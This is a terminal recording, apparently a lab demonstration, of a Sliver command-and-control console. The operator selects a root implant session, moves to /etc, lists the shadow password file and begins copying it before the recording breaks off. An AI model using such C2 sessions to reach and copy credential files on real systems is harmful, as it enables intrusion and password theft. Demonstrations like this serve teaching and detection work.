||||
[2.087303, "o", "s"]
|
||||
[2.1209, "o", "e"]
|
||||
[2.218423, "o", "r"]
|
||||
[2.496957, "o", "v"]
|
||||
[2.641655, "o", "e"]
|
||||
[2.752513, "o", "r"]
|
||||
[2.85634, "o", "\r\n"]
|
||||
[2.861432, "o", "\u001b[?2004l\r"]
|
||||
[3.947825, "o", "\u001b[31m\r\r\n \t ██████ ██▓ ██▓ ██▒ █▓▓█████ ██▀███\r\r\n\t▒██ ▒ ▓██▒ ▓██▒▓██░ █▒▓█ ▀ ▓██ ▒ ██▒\r\r\n\t░ ▓██▄ ▒██░ ▒██▒ ▓██ █▒░▒███ ▓██ ░▄█ ▒\r\r\n\t ▒ ██▒▒██░ ░██░ ▒██ █░░▒▓█ ▄ ▒██▀▀█▄\r\r\n\t▒██████▒▒░██████▒░██░ ▒▀█░ ░▒████▒░██▓ ▒██▒\r\r\n\t▒ ▒▓▒ ▒ ░░ ▒░▓ ░░▓ ░ ▐░ ░░ ▒░ ░░ ▒▓ ░▒▓░\r\r\n\t░ ░▒ ░ ░░ ░ ▒ ░ ▒ ░ ░ ░░ ░ ░ ░ ░▒ ░ ▒░\r\r\n\t░ ░ ░ ░ ░ ▒ ░ ░░ ░ ░░ ░\r\r\n\t\t ░ ░ ░ ░ ░ ░ ░ ░\r\r\n\u001b[0m\r\nAll hackers gain dash\r\r\n"]
|
||||
[3.950273, "o", "\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.39 - 0b235b4d42d4eb75684825f5d5b30da71ec57d26 - \u001b[1mDirty\u001b[0m\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\r\n\r\n"]
|
||||
[3.976294, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[3.978246, "o", "\u001b[1 q"]
|
||||
[3.980126, "o", "\u001b[?25l"]
|
||||
[3.980339, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[3.981302, "o", "\u001b[6n"]
|
||||
[3.983115, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[3.983794, "o", "\u001b[0K\u001b[0J\u001b[133D"]
|
||||
[3.984946, "o", "\u001b[1A\u001b[9D\u001b[9C\u001b[133D\u001b[9C\u001b[?25h"]
|
||||
[5.795125, "o", "\u001b[9D\u001b[9C\u001b[133D\u001b[0J\r\u001b[2K\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mSession 414ff5a2 CURRENT_RESIST - 127.0.0.1:57792 (98df0494f659) - linux/amd64 - Wed, 01 May 2024 13:15:56 UTC\r\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[?25l"]
|
||||
[5.795881, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[5.798279, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[5.798391, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[9D\u001b[9C\u001b[133D\u001b[9C\u001b[?25h"]
|
||||
[7.044203, "o", "\u001b[?25l\u001b[133D"]
|
||||
[7.044533, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[7.045765, "o", "\u001b[6n"]
|
||||
[7.048892, "o", "u\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[7.049024, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[10D\u001b[9C\u001b[133D\u001b[10C\u001b[?25h"]
|
||||
[7.106935, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[7.107677, "o", "\u001b[6n"]
|
||||
[7.109587, "o", "us\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[11D\u001b[9C\u001b[133D\u001b[11C\u001b[?25h"]
|
||||
[7.204271, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[7.204493, "o", "\u001b[6n"]
|
||||
[7.208434, "o", "\u001b[1m\u001b[32muse\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[12D\u001b[9C\u001b[133D\u001b[12C\u001b[?25h"]
|
||||
[7.799665, "o", "\u001b[12D\u001b[9C"]
|
||||
[7.800619, "o", "\u001b[6n"]
|
||||
[7.807947, "o", "\u001b[133D\u001b[12C\u001b[0J\u001b[133D\r"]
|
||||
[7.808631, "o", "\r\n"]
|
||||
[7.811014, "o", "\u001b[0 q"]
|
||||
[7.812007, "o", "\r\n"]
|
||||
[7.845059, "o", "\u001b7\u001b[?25l"]
|
||||
[7.845489, "o", "\u001b8"]
|
||||
[7.84579, "o", "\u001b[0G\u001b[2K"]
|
||||
[7.860586, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;1;36m> SESSION 414ff5a2 CURRENT_RESIST 127.0.0.1:57792 98df0494f659 root linux/amd64\u001b[0m\r\n"]
|
||||
[7.861105, "o", "\u001b7"]
|
||||
[7.864089, "o", "\u001b[1A"]
|
||||
[7.864266, "o", "\u001b[0G"]
|
||||
[8.456892, "o", "\u001b8\u001b[?25h"]
|
||||
[8.466113, "o", "\u001b8\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m\u001b[0;36m SESSION 414ff5a2 CURRENT_RESIST 127.0.0.1:57792 98df0494f659 root linux/amd64\u001b[0m\r\n"]
|
||||
[8.471343, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mActive session CURRENT_RESIST (414ff5a2-5ca5-478e-9dea-58528f458f1d)\r\n"]
|
||||
[8.518657, "o", "\r\n"]
|
||||
[8.530041, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[8.530224, "o", "\u001b[1 q\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[8.530453, "o", "\u001b[6n"]
|
||||
[8.532344, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[8.532865, "o", "\u001b[133D\u001b[1A\u001b[26D\u001b[26C\u001b[133D\u001b[26C\u001b[?25h"]
|
||||
[9.393469, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[9.410358, "o", "p\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[27D\u001b[26C\u001b[133D\u001b[27C\u001b[?25h"]
|
||||
[9.659443, "o", "\u001b[?25l"]
|
||||
[9.660932, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[9.663996, "o", "pw\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[28D\u001b[26C\u001b[133D\u001b[28C\u001b[?25h"]
|
||||
[9.770023, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[9.771583, "o", "\u001b[6n"]
|
||||
[9.778511, "o", "\u001b[1m\u001b[32mpwd\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[9.779725, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[29D\u001b[26C\u001b[133D\u001b[29C\u001b[?25h"]
|
||||
[10.699491, "o", "\u001b[29D\u001b[26C\u001b[6n"]
|
||||
[10.709062, "o", "\u001b[133D\u001b[29C\u001b[0J\u001b[133D\r\r\n\u001b[0 q\r\n"]
|
||||
[10.794351, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0m/root"]
|
||||
[10.795943, "o", "\r\n\r\n"]
|
||||
[10.804909, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[10.805335, "o", "\u001b[1 q\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[10.806558, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[26D\u001b[26C\u001b[133D\u001b[26C\u001b[?25h"]
|
||||
[12.258373, "o", "\u001b[?25l\u001b[133D"]
|
||||
[12.259451, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[12.272934, "o", "c\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[12.273707, "o", "\u001b[133D\u001b[1A\u001b[27D\u001b[26C\u001b[133D\u001b[27C\u001b[?25h"]
|
||||
[12.312368, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[12.313519, "o", "\u001b[6n"]
|
||||
[12.316635, "o", "\u001b[1m\u001b[32mcd\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[12.318426, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[28D\u001b[26C\u001b[133D\u001b[28C\u001b[?25h"]
|
||||
[12.408489, "o", "\u001b[?25l\u001b[133D"]
|
||||
[12.409902, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[12.41272, "o", "\u001b[1m\u001b[32mcd \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[29D\u001b[26C\u001b[133D\u001b[29C\u001b[?25h"]
|
||||
[12.716526, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[12.725977, "o", "\u001b[6n"]
|
||||
[12.730108, "o", "\u001b[1m\u001b[32mcd \u001b[39m\u001b[22m/\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D"]
|
||||
[12.731837, "o", "\u001b[1A\u001b[30D\u001b[26C\u001b[133D\u001b[30C\u001b[?25h"]
|
||||
[12.891931, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[12.902647, "o", "\u001b[1m\u001b[32mcd \u001b[39m\u001b[22m/e\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[12.903997, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[31D\u001b[26C\u001b[133D\u001b[31C\u001b[?25h"]
|
||||
[12.966582, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[12.969041, "o", "\u001b[6n"]
|
||||
[12.973452, "o", "\u001b[1m\u001b[32mcd \u001b[39m\u001b[22m/et\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[12.974873, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[32D\u001b[26C\u001b[133D\u001b[32C\u001b[?25h"]
|
||||
[13.23578, "o", "\u001b[?25l"]
|
||||
[13.236497, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[13.241486, "o", "\u001b[1m\u001b[32mcd \u001b[39m\u001b[22m/etc\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[13.241685, "o", "\u001b[133D\u001b[1A\u001b[33D\u001b[26C\u001b[133D\u001b[33C\u001b[?25h"]
|
||||
[13.574465, "o", "\u001b[33D\u001b[26C\u001b[6n"]
|
||||
[13.580176, "o", "\u001b[133D\u001b[33C\u001b[0J\u001b[133D\r\r\n"]
|
||||
[13.581298, "o", "\u001b[0 q\r\n"]
|
||||
[13.676827, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0m/etc\r\n\r\n"]
|
||||
[13.687947, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[13.688408, "o", "\u001b[1 q\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[13.689943, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[13.690037, "o", "\u001b[133D\u001b[1A\u001b[26D\u001b[26C\u001b[133D\u001b[26C\u001b[?25h"]
|
||||
[15.304689, "o", "\u001b[?25l"]
|
||||
[15.311488, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[15.320488, "o", "l\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[15.321971, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[27D\u001b[26C\u001b[133D\u001b[27C\u001b[?25h"]
|
||||
[15.446148, "o", "\u001b[?25l"]
|
||||
[15.459294, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[15.467592, "o", "\u001b[1m\u001b[32mls\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[28D\u001b[26C"]
|
||||
[15.468675, "o", "\u001b[133D\u001b[28C\u001b[?25h"]
|
||||
[15.56532, "o", "\u001b[?25l"]
|
||||
[15.567191, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[15.574897, "o", "\u001b[1m\u001b[32mls \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[29D\u001b[26C\u001b[133D\u001b[29C\u001b[?25h"]
|
||||
[15.88002, "o", "\u001b[?25l"]
|
||||
[15.881841, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[15.884781, "o", "\u001b[1m\u001b[32mls \u001b[39m\u001b[22ms\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[15.885324, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[30D\u001b[26C\u001b[133D\u001b[30C\u001b[?25h"]
|
||||
[16.064252, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[16.069525, "o", "\u001b[1m\u001b[32mls \u001b[39m\u001b[22msh\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[16.070018, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[31D\u001b[26C\u001b[133D\u001b[31C\u001b[?25h"]
|
||||
[16.289252, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[16.314573, "o", "\u001b[1m\u001b[32mls \u001b[39m\u001b[22msha\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[16.315356, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[32D\u001b[26C\u001b[133D\u001b[32C\u001b[?25h"]
|
||||
[16.63829, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[16.64489, "o", "\u001b[1m\u001b[32mls \u001b[39m\u001b[22msha*\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[33D"]
|
||||
[16.648099, "o", "\u001b[26C\u001b[133D\u001b[33C\u001b[?25h"]
|
||||
[17.210028, "o", "\u001b[33D\u001b[26C\u001b[6n"]
|
||||
[17.217497, "o", "\u001b[133D\u001b[33C\u001b[0J\u001b[133D\r\r\n\u001b[0 q\r\n"]
|
||||
[17.353272, "o", "/etc (1 item, 501 B)\r\n"]
|
||||
[17.354018, "o", "====================\r\n"]
|
||||
[17.354247, "o", "-rw-r----- root:shadow shadow 501 B Tue Apr 25 14:03:14 +0000 2023\r\n\r\n\r\n"]
|
||||
[17.364485, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[17.364605, "o", "\u001b[1 q\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[17.365227, "o", "\u001b[6n"]
|
||||
[17.366605, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[17.367172, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[26D\u001b[26C\u001b[133D\u001b[26C\u001b[?25h"]
|
||||
[18.459982, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[18.480419, "o", "c\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[27D\u001b[26C\u001b[133D\u001b[27C\u001b[?25h"]
|
||||
[18.740161, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[18.747124, "o", "\u001b[1m\u001b[32mcp\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[18.748174, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[28D\u001b[26C\u001b[133D\u001b[28C\u001b[?25h"]
|
||||
[18.874461, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[18.875302, "o", "\u001b[6n"]
|
||||
[18.880626, "o", "\u001b[1m\u001b[32mcp \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[29D\u001b[26C"]
|
||||
[18.881555, "o", "\u001b[133D\u001b[29C\u001b[?25h"]
|
||||
[19.186055, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[19.200231, "o", "\u001b[1m\u001b[32mcp \u001b[39m\u001b[22ms\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[30D\u001b[26C\u001b[133D\u001b[30C\u001b[?25h"]
|
||||
[19.270446, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[19.271413, "o", "\u001b[6n"]
|
||||
[19.276628, "o", "\u001b[1m\u001b[32mcp \u001b[39m\u001b[22msh\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[19.279294, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[31D\u001b[26C\u001b[133D\u001b[31C\u001b[?25h"]
|
||||
[19.44179, "o", "\u001b[?25l"]
|
||||
[19.444418, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[19.44687, "o", "\u001b[1m\u001b[32mcp \u001b[39m\u001b[22msha\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[32D\u001b[26C\u001b[133D\u001b[32C\u001b[?25h"]
|
||||
[19.580204, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[19.584317, "o", "\u001b[1m\u001b[32mcp \u001b[39m\u001b[22mshad\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[33D\u001b[26C\u001b[133D\u001b[33C\u001b[?25h"]
|
||||
[20.020691, "o", "\u001b[?25l"]
|
||||
[20.024923, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[20.031, "o", "\u001b[1m\u001b[32mcp \u001b[39m\u001b[22mshado\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[34D\u001b[26C\u001b[133D\u001b[34C\u001b[?25h"]
|
||||
[20.181092, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[20.193655, "o", "\u001b[1m\u001b[32mcp \u001b[39m\u001b[22mshadow\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[20.194162, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[35D\u001b[26C\u001b[133D\u001b[35C\u001b[?25h"]
|
||||
[20.499093, "o", "\u001b[?25l\u001b[133D"]
|
||||
[20.503395, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[20.516425, "o", "\u001b[1m\u001b[32mcp \u001b[39m\u001b[22mshadow \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[36D\u001b[26C"]
|
||||
[20.518687, "o", "\u001b[133D\u001b[36C\u001b[?25h"]
|
||||
[20.833119, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[20.841665, "o", "\u001b[1m\u001b[32mcp \u001b[39m\u001b[22mshadow s\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[37D\u001b[26C\u001b[133D\u001b[37C\u001b[?25h"]
|
||||
[20.950326, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[20.965125, "o", "\u001b[1m\u001b[32mcp \u001b[39m\u001b[22mshadow sh\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[20.966512, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[38D\u001b[26C\u001b[133D\u001b[38C\u001b[?25h"]
|
||||
[21.023234, "o", "\u001b[?25l\u001b[133D"]
|
||||
[21.025679, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[21.030401, "o", "\u001b[1m\u001b[32mcp \u001b[39m\u001b[22mshadow sha\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[21.030652, "o", "\u001b[133D\u001b[1A\u001b[39D\u001b[26C\u001b[133D\u001b[39C\u001b[?25h"]
|
||||
[21.125176, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[21.133165, "o", "\u001b[1m\u001b[32mcp \u001b[39m\u001b[22mshadow shad\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[40D\u001b[26C\u001b[133D\u001b[40C\u001b[?25h"]
|
||||
[21.228201, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[21.238356, "o", "\u001b[1m\u001b[32mcp \u001b[39m\u001b[22mshadow shado\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[21.240256, "o", "\u001b[133D\u001b[1A\u001b[41D\u001b[26C\u001b[133D\u001b[41C\u001b[?25h"]
|
||||
[21.384159, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[21.39554, "o", "\u001b[1m\u001b[32mcp \u001b[39m\u001b[22mshadow shadow\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[21.396896, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[42D\u001b[26C\u001b[133D\u001b[42C\u001b[?25h"]
|
||||
[21.758536, "o", "\u001b[?25l\u001b[133D"]
|
||||
[21.760078, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[21.762605, "o", "\u001b[1m\u001b[32mcp \u001b[39m\u001b[22mshadow shadow_\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[43D\u001b[26C\u001b[133D\u001b[43C\u001b[?25h"]
|
||||
[22.100054, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[22.111512, "o", "\u001b[1m\u001b[32mcp \u001b[39m\u001b[22mshadow shadow_b\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[22.112925, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[44D\u001b[26C\u001b[133D\u001b[44C\u001b[?25h"]
|
||||
[22.243407, "o", "\u001b[?25l"]
|
||||
[22.246399, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[22.268419, "o", "\u001b[1m\u001b[32mcp \u001b[39m\u001b[22mshadow shadow_ba\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D"]
|
||||
[22.268669, "o", "\u001b[1A\u001b[45D\u001b[26C\u001b[133D\u001b[45C\u001b[?25h"]
|
||||
[22.313227, "o", "\u001b[?25l"]
|
||||
[22.313549, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[22.320429, "o", "\u001b[1m\u001b[32mcp \u001b[39m\u001b[22mshadow shadow_bac\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[22.320678, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[46D\u001b[26C\u001b[133D\u001b[46C\u001b[?25h"]
|
||||
[22.496379, "o", "\u001b[?25l\u001b[133D"]
|
||||
[22.500603, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[22.505842, "o", "\u001b[1m\u001b[32mcp \u001b[39m\u001b[22mshadow shadow_back\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[47D\u001b[26C\u001b[133D\u001b[47C\u001b[?25h"]
|
||||
[22.830689, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[22.836046, "o", "\u001b[1m\u001b[32mcp \u001b[39m\u001b[22mshadow shadow_backu\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
